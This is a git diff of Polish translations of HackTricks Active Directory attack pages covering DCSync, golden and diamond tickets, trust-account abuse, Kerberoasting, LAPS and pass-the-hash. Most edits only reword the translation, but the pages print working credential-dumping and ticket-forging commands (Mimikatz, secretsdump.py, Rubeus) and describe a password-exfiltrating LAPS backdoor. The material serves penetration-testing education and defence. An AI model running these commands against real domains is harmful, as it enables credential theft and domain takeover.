a/src/windows-hardening/active-directory-methodology/dcshadow.md b/src/windows-hardening/active-directory-methodology/dcshadow.md index 6c8cb5ec5..204d0a2b2 100644 --- a/src/windows-hardening/active-directory-methodology/dcshadow.md +++ b/src/windows-hardening/active-directory-methodology/dcshadow.md @@ -61,7 +61,7 @@ Musimy dodać następujące ACE z SID naszego użytkownika na końcu: - Na obiekcie użytkownika docelowego: `(A;;WP;;;UserSID)` - Na obiekcie Sites w kontenerze Configuration: `(A;CI;CCDC;;;UserSID)` -Aby uzyskać aktualny ACE obiektu: `(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl` +Aby uzyskać aktualny ACE obiektu: `(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl` Zauważ, że w tym przypadku musisz wprowadzić **kilka zmian,** a nie tylko jedną. Tak więc, w **sesji mimikatz1** (serwer RPC) użyj parametru **`/stack` z każdą zmianą,** którą chcesz wprowadzić. W ten sposób będziesz musiał tylko **`/push`** raz, aby wykonać wszystkie zablokowane zmiany na fałszywym serwerze. diff --git a/src/windows-hardening/active-directory-methodology/dcsync.md b/src/windows-hardening/active-directory-methodology/dcsync.md index ce151a7bf..f51d2dab8 100644 --- a/src/windows-hardening/active-directory-methodology/dcsync.md +++ b/src/windows-hardening/active-directory-methodology/dcsync.md @@ -18,11 +18,11 @@ Sprawdź, kto ma te uprawnienia, używając `powerview`: ```powershell Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')} ``` -### Wykorzystaj lokalnie +### Eksploatacja lokalna ```powershell Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' ``` -### Eksploatacja zdalna +### Eksploatacja Zdalna ```powershell secretsdump.py -just-dc :@ -outputfile dcsync_hashes [-just-dc-user ] #To get only of that user @@ -33,7 +33,7 @@ secretsdump.py -just-dc :@ -outputfile dcsync_hashes - jeden z **hashami NTLM** - jeden z **kluczami Kerberos** -- jeden z hasłami w postaci czystego tekstu z NTDS dla wszystkich kont ustawionych z [**szyfrowaniem odwracalnym**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) włączonym. Możesz uzyskać użytkowników z szyfrowaniem odwracalnym za pomocą +- jeden z hasłami w postaci czystego tekstu z NTDS dla wszystkich kont ustawionych z włączonym [**szyfrowaniem odwracalnym**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption). Możesz uzyskać użytkowników z szyfrowaniem odwracalnym za pomocą ```powershell Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol diff --git a/src/windows-hardening/active-directory-methodology/diamond-ticket.md b/src/windows-hardening/active-directory-methodology/diamond-ticket.md index cc880da13..85ff393cb 100644 --- a/src/windows-hardening/active-directory-methodology/diamond-ticket.md +++ b/src/windows-hardening/active-directory-methodology/diamond-ticket.md @@ -4,12 +4,12 @@ ## Diamond Ticket -**Jak złoty bilet**, diamentowy bilet to TGT, który można wykorzystać do **uzyskania dostępu do dowolnej usługi jako dowolny użytkownik**. Złoty bilet jest fałszowany całkowicie offline, szyfrowany hashem krbtgt tej domeny, a następnie wprowadzany do sesji logowania do użycia. Ponieważ kontrolery domeny nie śledzą TGT, które (lub które) zostały legalnie wydane, chętnie akceptują TGT, które są szyfrowane własnym hashem krbtgt. +**Jak złoty bilet**, diamentowy bilet to TGT, który może być użyty do **dostępu do dowolnej usługi jako dowolny użytkownik**. Złoty bilet jest fałszowany całkowicie offline, szyfrowany hashem krbtgt tej domeny, a następnie przekazywany do sesji logowania do użycia. Ponieważ kontrolery domeny nie śledzą TGT, które (lub które) zostały legalnie wydane, chętnie akceptują TGT, które są szyfrowane ich własnym hashem krbtgt. Istnieją dwie powszechne techniki wykrywania użycia złotych biletów: - Szukaj TGS-REQ, które nie mają odpowiadającego AS-REQ. -- Szukaj TGT z absurdalnymi wartościami, takimi jak domyślna 10-letnia żywotność Mimikatz. +- Szukaj TGT, które mają absurdalne wartości, takie jak domyślna 10-letnia żywotność Mimikatz. **Diamentowy bilet** jest tworzony przez **modyfikację pól legalnego TGT, które zostało wydane przez DC**. Osiąga się to poprzez **zażądanie** **TGT**, **odszyfrowanie** go hashem krbtgt domeny, **zmodyfikowanie** pożądanych pól biletu, a następnie **ponowne zaszyfrowanie** go. To **przezwycięża dwa wcześniej wspomniane niedociągnięcia** złotego biletu, ponieważ: diff --git a/src/windows-hardening/active-directory-methodology/dsrm-credentials.md b/src/windows-hardening/active-directory-methodology/dsrm-credentials.md index 229456f5c..7ccc11263 100644 --- a/src/windows-hardening/active-directory-methodology/dsrm-credentials.md +++ b/src/windows-hardening/active-directory-methodology/dsrm-credentials.md @@ -23,6 +23,6 @@ Więcej informacji na ten temat w: [https://adsecurity.org/?p=1714](https://adse ## Łagodzenie -- Event ID 4657 - Audyt utworzenia/zmiany `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior` +- Identyfikator zdarzenia 4657 - Audyt utworzenia/zmiany `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior` {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md index 5c8352acb..d507eb0e8 100644 --- a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md +++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md @@ -1,4 +1,4 @@ -# Zewnętrzna domena lasu - jednokierunkowy (wychodzący) +# External Forest Domain - One-Way (Outbound) {{#include ../../banners/hacktricks-training.md}} @@ -30,13 +30,13 @@ MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=F ``` ## Atak na konto zaufania -Występuje luka w zabezpieczeniach, gdy nawiązywana jest relacja zaufania między dwoma domenami, określonymi tutaj jako domena **A** i domena **B**, gdzie domena **B** rozszerza swoje zaufanie do domeny **A**. W tej konfiguracji w domenie **A** tworzone jest specjalne konto dla domeny **B**, które odgrywa kluczową rolę w procesie uwierzytelniania między tymi dwiema domenami. To konto, powiązane z domeną **B**, jest wykorzystywane do szyfrowania biletów do uzyskiwania dostępu do usług w różnych domenach. +Występuje luka w zabezpieczeniach, gdy nawiązywana jest relacja zaufania między dwoma domenami, określonymi tutaj jako domena **A** i domena **B**, gdzie domena **B** rozszerza swoje zaufanie do domeny **A**. W tej konfiguracji w domenie **A** tworzone jest specjalne konto dla domeny **B**, które odgrywa kluczową rolę w procesie uwierzytelniania między tymi dwiema domenami. To konto, powiązane z domeną **B**, jest wykorzystywane do szyfrowania biletów do uzyskiwania dostępu do usług w obu domenach. -Kluczowym aspektem do zrozumienia jest to, że hasło i hash tego specjalnego konta mogą być wyodrębnione z kontrolera domeny w domenie **A** za pomocą narzędzia wiersza poleceń. Polecenie do wykonania tej akcji to: +Krytycznym aspektem do zrozumienia jest to, że hasło i hash tego specjalnego konta mogą być wyodrębnione z kontrolera domeny w domenie **A** za pomocą narzędzia wiersza poleceń. Polecenie do wykonania tej akcji to: ```powershell Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local ``` -To ekstrakcji możliwej jest, ponieważ konto, oznaczone znakiem **$** po swojej nazwie, jest aktywne i należy do grupy "Domain Users" w domenie **A**, dziedzicząc tym samym uprawnienia związane z tą grupą. Umożliwia to osobom uwierzytelnienie się w domenie **A** przy użyciu poświadczeń tego konta. +Ta ekstrakcja jest możliwa, ponieważ konto, oznaczone znakiem **$** po swojej nazwie, jest aktywne i należy do grupy "Domain Users" w domenie **A**, dziedzicząc tym samym uprawnienia związane z tą grupą. Umożliwia to osobom uwierzytelnienie się w domenie **A** przy użyciu poświadczeń tego konta. **Ostrzeżenie:** Możliwe jest wykorzystanie tej sytuacji do uzyskania dostępu do domeny **A** jako użytkownik, chociaż z ograniczonymi uprawnieniami. Niemniej jednak, ten dostęp jest wystarczający do przeprowadzenia enumeracji w domenie **A**. @@ -44,7 +44,7 @@ W scenariuszu, w którym `ext.local` jest domeną ufającą, a `root.local` jest ```bash lsadump::trust /patch ``` -Następnie można użyć wyodrębnionego klucza RC4 do uwierzytelnienia jako `root.local\EXT$` w `root.local` za pomocą innej komendy narzędzia: +Następnie można użyć wyodrębnionego klucza RC4 do uwierzytelnienia jako `root.local\EXT$` w `root.local` za pomocą innego polecenia narzędzia: ```bash .\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4: /dc:dc.root.local /ptt ``` @@ -52,21 +52,21 @@ Ten krok uwierzytelniania otwiera możliwość enumeracji, a nawet wykorzystania ```bash .\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local ``` -### Zbieranie hasła zaufania w postaci jawnej +### Zbieranie hasła zaufania w postaci czystego tekstu -W poprzednim przepływie użyto hasha zaufania zamiast **hasła w postaci jawnej** (które również zostało **wyciągnięte przez mimikatz**). +W poprzednim przepływie użyto hasha zaufania zamiast **hasła w postaci czystego tekstu** (które również zostało **wyciągnięte przez mimikatz**). -Hasło w postaci jawnej można uzyskać, konwertując wyjście \[ CLEAR ] z mimikatz z formatu szesnastkowego i usuwając bajty zerowe ‘\x00’: +Hasło w postaci czystego tekstu można uzyskać, konwertując wyjście \[ CLEAR \] z mimikatz z formatu szesnastkowego i usuwając bajty null ‘\x00’: ![](<../../images/image (938).png>) -Czasami podczas tworzenia relacji zaufania użytkownik musi wpisać hasło dla zaufania. W tej demonstracji klucz to oryginalne hasło zaufania i dlatego jest czytelne dla człowieka. W miarę upływu czasu (30 dni) hasło w postaci jawnej nie będzie czytelne dla człowieka, ale technicznie nadal będzie użyteczne. +Czasami podczas tworzenia relacji zaufania użytkownik musi wpisać hasło dla zaufania. W tej demonstracji klucz to oryginalne hasło zaufania i dlatego jest czytelne dla człowieka. W miarę cyklu klucza (30 dni) hasło w postaci czystego tekstu nie będzie czytelne dla człowieka, ale technicznie nadal będzie użyteczne. -Hasło w postaci jawnej można wykorzystać do przeprowadzenia zwykłej autoryzacji jako konto zaufania, co stanowi alternatywę dla żądania TGT przy użyciu tajnego klucza Kerberos konta zaufania. Tutaj zapytanie do root.local z ext.local o członków Domain Admins: +Hasło w postaci czystego tekstu można wykorzystać do przeprowadzenia zwykłej autoryzacji jako konto zaufania, co stanowi alternatywę dla żądania TGT przy użyciu tajnego klucza Kerberos konta zaufania. Tutaj zapytanie root.local z ext.local o członków Domain Admins: ![](<../../images/image (792).png>) -## Odniesienia +## Referencje - [https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted) diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md index 0878b0100..9077e7c50 100644 --- a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md +++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md @@ -60,7 +60,7 @@ W poprzedniej enumeracji stwierdzono, że użytkownik **`crossuser`** znajduje s ## Wstępny dostęp -Jeśli **nie mogłeś** znaleźć żadnego **specjalnego** dostępu swojego użytkownika w innej domenie, możesz wrócić do Metodologii AD i spróbować **privesc z użytkownika bez uprawnień** (rzeczy takie jak kerberoasting na przykład): +Jeśli **nie udało się** znaleźć żadnego **specjalnego** dostępu twojego użytkownika w innej domenie, możesz wrócić do Metodologii AD i spróbować **privesc z użytkownika bez uprawnień** (rzeczy takie jak kerberoasting na przykład): Możesz użyć **funkcji Powerview** do **enumeracji** **innej domeny** używając parametru `-Domain`, jak w: ```powershell @@ -80,7 +80,7 @@ Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\admini ``` ### Nadużycie historii SID -Możesz również nadużywać [**historii SID**](sid-history-injection.md) w ramach zaufania lasu. +Możesz również nadużyć [**historii SID**](sid-history-injection.md) w ramach zaufania lasu. Jeśli użytkownik jest migrowany **z jednego lasu do drugiego** i **filtracja SID nie jest włączona**, możliwe jest **dodanie SID z innego lasu**, a ten **SID** zostanie **dodany** do **tokena użytkownika** podczas uwierzytelniania **w ramach zaufania**. @@ -91,7 +91,7 @@ Jeśli użytkownik jest migrowany **z jednego lasu do drugiego** i **filtracja S > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local > ``` -Możesz **podpisać** z **zaufanym** kluczem **TGT, udając** użytkownika bieżącej domeny. +Możesz **podpisać** **zaufanym** kluczem **TGT, udając** użytkownika bieżącej domeny. ```bash # Get a TGT for the cross-domain privileged user to the other domain Invoke-Mimikatz -Command '"kerberos::golden /user: /domain: /SID: /rc4: /target: /ticket:C:\path\save\ticket.kirbi"' diff --git a/src/windows-hardening/active-directory-methodology/golden-ticket.md b/src/windows-hardening/active-directory-methodology/golden-ticket.md index 574db3c69..64dc68fee 100644 --- a/src/windows-hardening/active-directory-methodology/golden-ticket.md +++ b/src/windows-hardening/active-directory-methodology/golden-ticket.md @@ -6,7 +6,7 @@ Atak **Golden Ticket** polega na **tworzeniu legalnego Ticket Granting Ticket (TGT) podszywając się pod dowolnego użytkownika** za pomocą **hasła NTLM konta krbtgt w Active Directory (AD)**. Technika ta jest szczególnie korzystna, ponieważ **umożliwia dostęp do dowolnej usługi lub maszyny** w obrębie domeny jako podszywający się użytkownik. Ważne jest, aby pamiętać, że **poświadczenia konta krbtgt nigdy nie są automatycznie aktualizowane**. -Aby **zdobyć hasło NTLM** konta krbtgt, można zastosować różne metody. Może być ono wyodrębnione z **procesu Local Security Authority Subsystem Service (LSASS)** lub z **pliku NT Directory Services (NTDS.dit)** znajdującego się na dowolnym kontrolerze domeny (DC) w obrębie domeny. Ponadto, **wykonanie ataku DCsync** jest inną strategią uzyskania tego hasła NTLM, co można zrealizować za pomocą narzędzi takich jak **moduł lsadump::dcsync** w Mimikatz lub **skrypt secretsdump.py** od Impacket. Ważne jest, aby podkreślić, że do przeprowadzenia tych operacji zazwyczaj wymagane są **uprawnienia administratora domeny lub podobny poziom dostępu**. +Aby **zdobyć hasło NTLM** konta krbtgt, można zastosować różne metody. Może być ono wyodrębnione z **procesu Local Security Authority Subsystem Service (LSASS)** lub z **pliku NT Directory Services (NTDS.dit)** znajdującego się na dowolnym kontrolerze domeny (DC) w obrębie domeny. Ponadto, **wykonanie ataku DCsync** jest inną strategią uzyskania tego hasła NTLM, co można zrealizować za pomocą narzędzi takich jak **moduł lsadump::dcsync** w Mimikatz lub **skrypt secretsdump.py** od Impacket. Ważne jest, aby podkreślić, że do przeprowadzenia tych operacji **zazwyczaj wymagane są uprawnienia administratora domeny lub podobny poziom dostępu**. Chociaż hasło NTLM jest wykonalną metodą w tym celu, **zdecydowanie zaleca się** **fałszowanie biletów za pomocą kluczy Kerberos w standardzie Advanced Encryption Standard (AES) (AES128 i AES256)** z powodów bezpieczeństwa operacyjnego. ```bash:From Linux @@ -36,9 +36,9 @@ Użyj parametrów `/startoffset`, `/endin` i `/renewmax`, aby kontrolować przes ``` Get-DomainPolicy | select -expand KerberosPolicy ``` -Niestety, czas życia TGT nie jest rejestrowany w 4769, więc nie znajdziesz tych informacji w dziennikach zdarzeń systemu Windows. Jednak to, co możesz skorelować, to **widzenie 4769 bez wcześniejszego 4768**. **Nie jest możliwe zażądanie TGS bez TGT**, a jeśli nie ma zapisu o wydaniu TGT, możemy wnioskować, że został on sfałszowany offline. +Niestety, czas życia TGT nie jest rejestrowany w 4769, więc nie znajdziesz tych informacji w dziennikach zdarzeń systemu Windows. Jednak to, co możesz skorelować, to **widzenie 4769 bez wcześniejszego 4768**. **Nie jest możliwe zażądanie TGS bez TGT**, a jeśli nie ma zapisu o wydaniu TGT, możemy wywnioskować, że został on sfałszowany offline. -Aby **obejść to wykrycie**, sprawdź bilety diamentowe: +Aby **obejść to wykrywanie**, sprawdź bilety diamentowe: {{#ref}} diamond-ticket.md @@ -52,7 +52,7 @@ diamond-ticket.md Inne małe sztuczki, które mogą zastosować obrońcy, to **powiadamianie o 4769 dla wrażliwych użytkowników**, takich jak domyślne konto administratora domeny. -## Referencje +## Odniesienia - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets] (https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets) diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md index 8b5c61092..ef72a9525 100644 --- a/src/windows-hardening/active-directory-methodology/kerberoast.md +++ b/src/windows-hardening/active-directory-methodology/kerberoast.md @@ -13,12 +13,12 @@ Aby wykonać **Kerberoasting**, niezbędne jest konto domenowe zdolne do żądan - **Kerberoasting** celuje w **bilety TGS** dla **usług kont użytkowników** w **AD**. - Bilety szyfrowane kluczami z **haseł użytkowników** mogą być **łamane offline**. - Usługa jest identyfikowana przez **ServicePrincipalName**, który nie jest pusty. -- **Nie są potrzebne specjalne uprawnienia**, wystarczą **ważne poświadczenia domenowe**. +- **Nie są potrzebne specjalne uprawnienia**, tylko **ważne poświadczenia domenowe**. ### **Atak** > [!WARNING] -> **Narzędzia Kerberoasting** zazwyczaj żądają **`RC4 encryption`** podczas przeprowadzania ataku i inicjowania żądań TGS-REQ. Dzieje się tak, ponieważ **RC4 jest** [**słabszy**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) i łatwiejszy do złamania offline przy użyciu narzędzi takich jak Hashcat niż inne algorytmy szyfrowania, takie jak AES-128 i AES-256.\ +> **Narzędzia Kerberoasting** zazwyczaj żądają **`szyfrowania RC4`** podczas przeprowadzania ataku i inicjowania żądań TGS-REQ. Dzieje się tak, ponieważ **RC4 jest** [**słabsze**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) i łatwiejsze do złamania offline przy użyciu narzędzi takich jak Hashcat niż inne algorytmy szyfrowania, takie jak AES-128 i AES-256.\ > Hashe RC4 (typ 23) zaczynają się od **`$krb5tgs$23$*`**, podczas gdy AES-256 (typ 18) zaczynają się od **`$krb5tgs$18$*`**.` #### **Linux** @@ -39,7 +39,7 @@ adenum -d -ip -u -p -c ``` #### Windows -- **Enumeruj użytkowników podatnych na Kerberoast** +- **Wymień użytkowników podatnych na Kerberoast** ```powershell # Get Kerberoastable users setspn.exe -Q */* #This is a built-in binary. Focus on user accounts @@ -110,7 +110,7 @@ Kerberoasting może być przeprowadzany z wysokim stopniem dyskrecji, jeśli jes - Nazwa usługi nie powinna być **krbtgt**, ponieważ jest to normalne żądanie. - Nazwy usług kończące się na **$** powinny być wykluczone, aby uniknąć uwzględnienia kont maszynowych używanych do usług. -- Żądania z maszyn powinny być filtrowane poprzez wykluczenie nazw kont sformatowanych jako **machine@domain**. +- Żądania z maszyn powinny być filtrowane przez wykluczenie nazw kont sformatowanych jako **machine@domain**. - Należy brać pod uwagę tylko udane żądania biletów, identyfikowane przez kod błędu **'0x0'**. - **Najważniejsze**, typ szyfrowania biletu powinien być **0x17**, który jest często używany w atakach Kerberoasting. ```bash @@ -125,7 +125,7 @@ Wdrażając te środki, organizacje mogą znacznie zmniejszyć ryzyko związane ## Kerberoast bez konta domenowego -W **wrześniu 2022** roku nowy sposób na wykorzystanie systemu został ujawniony przez badacza o imieniu Charlie Clark, udostępniony na jego platformie [exploit.ph](https://exploit.ph/). Metoda ta pozwala na pozyskanie **Biletów Serwisowych (ST)** za pomocą żądania **KRB_AS_REQ**, które w sposób niezwykły nie wymaga kontroli nad żadnym kontem Active Directory. Zasadniczo, jeśli główny podmiot jest skonfigurowany w taki sposób, że nie wymaga wstępnej autoryzacji—scenariusz podobny do tego, co w dziedzinie cyberbezpieczeństwa nazywa się atakiem **AS-REP Roasting**—ta cecha może być wykorzystana do manipulacji procesem żądania. Konkretnie, poprzez zmianę atrybutu **sname** w treści żądania, system jest oszukiwany do wydania **ST** zamiast standardowego zaszyfrowanego Biletu Grantującego (TGT). +W **wrześniu 2022** roku nowy sposób na wykorzystanie systemu został ujawniony przez badacza o imieniu Charlie Clark, udostępniony za pośrednictwem jego platformy [exploit.ph](https://exploit.ph/). Metoda ta pozwala na pozyskanie **Biletów Serwisowych (ST)** za pomocą żądania **KRB_AS_REQ**, które w sposób niezwykły nie wymaga kontroli nad żadnym kontem Active Directory. Zasadniczo, jeśli główny obiekt jest skonfigurowany w taki sposób, że nie wymaga wstępnej autoryzacji—scenariusz podobny do tego, co w dziedzinie cyberbezpieczeństwa nazywane jest atakiem **AS-REP Roasting**—ta cecha może być wykorzystana do manipulacji procesem żądania. Konkretnie, poprzez zmianę atrybutu **sname** w treści żądania, system jest oszukiwany do wydania **ST** zamiast standardowego zaszyfrowanego biletu przyznawania biletów (TGT). Technika jest w pełni wyjaśniona w tym artykule: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). diff --git a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md index dd202c970..481af165b 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md @@ -56,7 +56,7 @@ klist ``` ### PortForwarding -Dla lokalnych administratorów na pośrednim celu, przekierowanie portów pozwala na wysyłanie żądań do docelowego serwera. Używając `netsh`, można dodać regułę dla przekierowania portów, obok reguły zapory systemu Windows, aby zezwolić na przekierowany port. +Dla lokalnych administratorów na pośrednim celu, przekierowanie portów umożliwia wysyłanie żądań do docelowego serwera. Używając `netsh`, można dodać regułę dla przekierowania portów, obok reguły zapory systemu Windows, aby zezwolić na przekierowany port. ```bash netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23 netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446 @@ -69,7 +69,7 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname ``` ### OpenSSH -Zainstalowanie OpenSSH na pierwszym serwerze umożliwia obejście problemu podwójnego skoku, szczególnie przydatne w scenariuszach z jump box. Ta metoda wymaga instalacji i konfiguracji OpenSSH dla Windows za pomocą CLI. Gdy jest skonfigurowana do uwierzytelniania hasłem, pozwala to pośredniemu serwerowi uzyskać TGT w imieniu użytkownika. +Zainstalowanie OpenSSH na pierwszym serwerze umożliwia obejście problemu podwójnego skoku, szczególnie przydatne w scenariuszach z jump box. Ta metoda wymaga instalacji i konfiguracji OpenSSH dla Windows za pomocą CLI. Gdy jest skonfigurowana do uwierzytelniania hasłem, pozwala to serwerowi pośredniczącemu uzyskać TGT w imieniu użytkownika. #### Kroki instalacji OpenSSH diff --git a/src/windows-hardening/active-directory-methodology/laps.md b/src/windows-hardening/active-directory-methodology/laps.md index 39c8b89de..ebb7aca91 100644 --- a/src/windows-hardening/active-directory-methodology/laps.md +++ b/src/windows-hardening/active-directory-methodology/laps.md @@ -5,7 +5,7 @@ ## Podstawowe informacje -Local Administrator Password Solution (LAPS) to narzędzie używane do zarządzania systemem, w którym **hasła administratorów**, które są **unikalne, losowe i często zmieniane**, są stosowane w komputerach dołączonych do domeny. Te hasła są bezpiecznie przechowywane w Active Directory i są dostępne tylko dla użytkowników, którzy otrzymali pozwolenie za pośrednictwem list kontroli dostępu (ACL). Bezpieczeństwo transmisji haseł z klienta do serwera jest zapewnione dzięki użyciu **Kerberos wersja 5** i **Advanced Encryption Standard (AES)**. +Local Administrator Password Solution (LAPS) to narzędzie używane do zarządzania systemem, w którym **hasła administratorów**, które są **unikalne, losowe i często zmieniane**, są stosowane do komputerów dołączonych do domeny. Te hasła są bezpiecznie przechowywane w Active Directory i są dostępne tylko dla użytkowników, którzy otrzymali pozwolenie za pośrednictwem list kontroli dostępu (ACL). Bezpieczeństwo transmisji haseł z klienta do serwera jest zapewnione dzięki użyciu **Kerberos wersja 5** i **Advanced Encryption Standard (AES)**. W obiektach komputerowych domeny wdrożenie LAPS skutkuje dodaniem dwóch nowych atrybutów: **`ms-mcs-AdmPwd`** i **`ms-mcs-AdmPwdExpirationTime`**. Atrybuty te przechowują **hasło administratora w postaci jawnej** oraz **czas jego wygaśnięcia**, odpowiednio. @@ -103,7 +103,7 @@ Password: 2Z@Ae)7!{9#Cq ### **Data wygaśnięcia** -Po uzyskaniu uprawnień administratora, możliwe jest **uzyskanie haseł** i **zapobieganie** aktualizacji **hasła** maszyny poprzez **ustawienie daty wygaśnięcia w przyszłość**. +Po uzyskaniu uprawnień administratora, możliwe jest **uzyskanie haseł** i **zapobieżenie** aktualizacji **hasła** maszyny poprzez **ustawienie daty wygaśnięcia w przyszłość**. ```powershell # Get expiration time Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime @@ -117,7 +117,7 @@ Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="2326099 ### Backdoor -Oryginalny kod źródłowy dla LAPS można znaleźć [tutaj](https://github.com/GreyCorbel/admpwd), dlatego możliwe jest umieszczenie backdoora w kodzie (w metodzie `Get-AdmPwdPassword` w `Main/AdmPwd.PS/Main.cs`, na przykład), który w jakiś sposób **wyeksfiltruje nowe hasła lub przechowa je gdzieś**. +Oryginalny kod źródłowy dla LAPS można znaleźć [tutaj](https://github.com/GreyCorbel/admpwd), dlatego możliwe jest umieszczenie backdoora w kodzie (w metodzie `Get-AdmPwdPassword` w `Main/AdmPwd.PS/Main.cs`, na przykład), który w jakiś sposób **wyeksfiltruje nowe hasła lub przechowa je gdzie indziej**. Następnie wystarczy skompilować nowy `AdmPwd.PS.dll` i przesłać go na maszynę do `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (i zmienić czas modyfikacji). diff --git a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md index e833185be..94162270a 100644 --- a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md +++ b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md @@ -7,7 +7,7 @@ Atak **Overpass The Hash/Pass The Key (PTK)** jest zaprojektowany dla środowisk, w których tradycyjny protokół NTLM jest ograniczony, a uwierzytelnianie Kerberos ma pierwszeństwo. Atak ten wykorzystuje hash NTLM lub klucze AES użytkownika do pozyskiwania biletów Kerberos, co umożliwia nieautoryzowany dostęp do zasobów w sieci. -Aby przeprowadzić ten atak, pierwszym krokiem jest pozyskanie hasha NTLM lub hasła konta docelowego użytkownika. Po zabezpieczeniu tych informacji można uzyskać bilet przyznawania biletów (TGT) dla konta, co pozwala atakującemu na dostęp do usług lub maszyn, do których użytkownik ma uprawnienia. +Aby przeprowadzić ten atak, pierwszym krokiem jest pozyskanie hasha NTLM lub hasła konta docelowego użytkownika. Po zabezpieczeniu tych informacji można uzyskać Ticket Granting Ticket (TGT) dla konta, co pozwala atakującemu na dostęp do usług lub maszyn, do których użytkownik ma uprawnienia. Proces można rozpocząć za pomocą następujących poleceń: ```bash @@ -15,9 +15,9 @@ python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2 export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass ``` -W przypadku scenariuszy wymagających AES256, opcja `-aesKey [AES key]` może być wykorzystana. Ponadto, uzyskany bilet może być używany z różnymi narzędziami, w tym smbexec.py lub wmiexec.py, co poszerza zakres ataku. +W przypadku scenariuszy wymagających AES256, opcja `-aesKey [AES key]` może być wykorzystana. Ponadto, uzyskany bilet może być użyty z różnymi narzędziami, w tym smbexec.py lub wmiexec.py, poszerzając zakres ataku. -Napotykanie problemów takich jak _PyAsn1Error_ lub _KDC cannot find the name_ zazwyczaj rozwiązuje się poprzez aktualizację biblioteki Impacket lub użycie nazwy hosta zamiast adresu IP, co zapewnia zgodność z Kerberos KDC. +Napotykanie problemów takich jak _PyAsn1Error_ lub _KDC cannot find the name_ zazwyczaj rozwiązuje się poprzez aktualizację biblioteki Impacket lub użycie nazwy hosta zamiast adresu IP, zapewniając zgodność z Kerberos KDC. Alternatywna sekwencja poleceń z użyciem Rubeus.exe demonstruje inny aspekt tej techniki: ```bash diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md index fd402acf0..0475ef0e0 100644 --- a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md +++ b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md @@ -19,7 +19,7 @@ Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (Operati ``` ### Znajdowanie usług Spooler nasłuchujących -Używając nieco zmodyfikowanego @mysmartlogin (Vincent Le Toux) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), sprawdź, czy usługa Spooler nasłuchuje: +Używając nieco zmodyfikowanego @mysmartlogin'a (Vincent Le Toux) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), sprawdź, czy usługa Spooler nasłuchuje: 